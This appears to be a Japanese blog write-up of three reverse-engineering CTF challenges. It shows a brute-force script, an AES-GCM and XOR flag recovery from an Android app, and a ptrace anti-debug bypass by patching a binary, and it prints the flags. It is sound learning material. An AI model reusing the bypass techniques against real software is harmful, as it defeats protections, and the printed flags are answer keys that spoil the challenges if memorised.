>>> with open('output.txt','r') as f: ... data = f.readline() ... >>> output = data[:-2].split(' ') >>> import string >>> import subprocess >>> from subprocess import PIPE >>> flag = 'ctf4b{' >>> for i in range(6,len(output)): ... for pchar in string.printable: ... proc = subprocess.run("echo '{}' | gs ./chall.gs".format(flag+pchar), shell=True, stdout=PIPE, stderr=PIPE, text=True) ... if proc.stdout[207:-2] == ' '.join(output[:i+1]): ... flag = flag + pchar ... print(flag) ... break ... ctf4b{s ctf4b{st ctf4b{st4 ctf4b{st4c ctf4b{st4ck ctf4b{st4ck_ ctf4b{st4ck_m ctf4b{st4ck_m4 ctf4b{st4ck_m4c ctf4b{st4ck_m4ch ctf4b{st4ck_m4ch1 ctf4b{st4ck_m4ch1n ctf4b{st4ck_m4ch1n3 ctf4b{st4ck_m4ch1n3_ ctf4b{st4ck_m4ch1n3_1 ctf4b{st4ck_m4ch1n3_1s ctf4b{st4ck_m4ch1n3_1s_ ctf4b{st4ck_m4ch1n3_1s_4 ctf4b{st4ck_m4ch1n3_1s_4_ ctf4b{st4ck_m4ch1n3_1s_4_l ctf4b{st4ck_m4ch1n3_1s_4_l0 ctf4b{st4ck_m4ch1n3_1s_4_l0t ctf4b{st4ck_m4ch1n3_1s_4_l0t_ ctf4b{st4ck_m4ch1n3_1s_4_l0t_0 ctf4b{st4ck_m4ch1n3_1s_4_l0t_0f ctf4b{st4ck_m4ch1n3_1s_4_l0t_0f_ ctf4b{st4ck_m4ch1n3_1s_4_l0t_0f_f ctf4b{st4ck_m4ch1n3_1s_4_l0t_0f_fu ctf4b{st4ck_m4ch1n3_1s_4_l0t_0f_fun ctf4b{st4ck_m4ch1n3_1s_4_l0t_0f_fun! ctf4b{st4ck_m4ch1n3_1s_4_l0t_0f_fun!}
siblangs
まずBytecode Viewerで適当に眺めていたら es/o0i/challengeapp/nativemodule/ValidateFlagModule.class
という怪しさの塊のアレを見つける。
コピペして適当に一部書き換えてこれを実行する。
import javax.crypto.Cipher; import javax.crypto.SecretKey; import javax.crypto.spec.GCMParameterSpec; import javax.crypto.spec.SecretKeySpec; class Solve { public static void main(String[] args) throws Exception { byte[] var3 = new byte[]{95, -59, -20, -93, -70, 0, -32, -93, -23, 63, -9, 60, 86, 123, -61, -8, 17, -113, -106, 28, 99, -72, -3, 1, -41, -123, 17, 93, -36, 45, 18, 71, 61, 70, -117, -55, 107, -75, -89, 3, 94, -71, 30}; SecretKey secretKey = new SecretKeySpec("IncrediblySecure".getBytes(), 0, 16, "AES"); Cipher var4 = Cipher.getInstance("AES/GCM/NoPadding"); GCMParameterSpec var5 = new GCMParameterSpec(128, var3, 0, 12); var4.init(2, secretKey, var5); var3 = var4.doFinal(var3, 12, var3.length - 12); System.out.println(new String(var3)); } }
flagの後半らしきものを手に入れたので、前半も探す。
assets/index.android.bundle
以外に怪しそうな場所がなかったのでde4jsにかけて ctf4b
で検索をかけると怪しいコードが出てくる。
function v() { var t; (0, l.default)(this, v); for (var o = arguments.length, n = new Array(o), c = 0; c < o; c++) n[c] = arguments[c]; return (t = y.call.apply(y, [this].concat(n))).state = { flagVal: "ctf4b{", xored: [34, 63, 3, 77, 36, 20, 24, 8, 25, 71, 110, 81, 64, 87, 30, 33, 81, 15, 39, 90, 17, 27] }, t.handleFlagChange = function (o) { t.setState({ flagVal: o }) }, t.onPressValidateFirstHalf = function () { if ("ios" === h.Platform.OS) { for (var o = "AKeyFor" + h.Platform.OS + "10.3", l = t.state.flagVal, n = 0; n < t.state.xored.length; n++) if (t.state.xored[n] !== parseInt(l.charCodeAt(n) ^ o.charCodeAt(n % o.length), 10)) return void h.Alert.alert("Validation A Failed", "Try again..."); h.Alert.alert("Validation A Succeeded", "Great! Have you checked the other one?")
xorかけてるだけなので、お手軽にflagをゲットする。
>>> xstr1 = [34, 63, 3, 77, 36, 20, 24, 8, 25, 71, 110, 81, 64, 87, 30, 33, 81, 15, 39, 90, 17, 27] >>> xstr2 = "AKeyForios10.3" >>> flag = "" >>> for i in range(len(xstr1)): ... flag = flag + chr(xstr1[i] ^ ord(xstr2[i % len(xstr2)])) ... >>> flag 'ctf4b{jav4_and_j4va5cr'
と、いうわけでflagは ctf4b{jav4_and_j4va5cr1pt_3verywhere}
です。
sneaky
実行すると謎な蛇ゲームがスタートした。ハイスコアを取れとのことなので、Ghidraを眺めるもよくわからず。gdbに投げると
Starting program: /home/mopisec/sneaky [Attaching after process 95657 fork to child process 95661] [New inferior 2 (process 95661)] [Detaching after fork from parent process 95657] [Inferior 1 (process 95657) detached] Thread 2.1 "sneaky" received signal SIGSEGV, Segmentation fault.
アー、strace
。
mopisec@ubuntu-pc:~$ strace ./sneaky ・ ・略 ・ ptrace(PTRACE_ATTACH, 95701) = 0 --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=95701, si_uid=1000, si_status=SIGSTOP, si_utime=0, si_stime=0} --- wait4(95701, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGSTOP}], 0, NULL) = 95701 ptrace(PTRACE_CONT, 95701, NULL, 0) = 0 [{WIFEXITED(s) && WEXITSTATUS(s) == 0}], 0, NULL) = 95701 --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=95701, si_uid=1000, si_status=0, si_utime=4, si_stime=4} --- exit_group(0) = ? +++ exited with 0 +++
出たなptrace。ptraceの位置をGhidraのSearch Memoryで探す。
b8 65 00 MOV EAX ,0x65 0f 05 SYSCALL
が見つかればいいので、こんな感じで
見つけた。あとは参照元を何回か辿って、呼び出し元をnopにする。
(Ghidraでパッチを当てたらセグフォしたので、とりあえずIDAで。)
ptraceには対応したので、具体的にスコアを書き換えたいと思います。
aScoreDに格納するスコアはr13レジスタから参照されていて、[rbx+20h]
からmov命令で何らかの値を格納していることがわかるため、スコアは [rbx+20h]
に格納されていることが予想できます。
あとはgdbでコネコネして(適当に999999をスコアとして突っ込んで)
終わり。
感想
楽しかった!!!
明日は頑張ろう。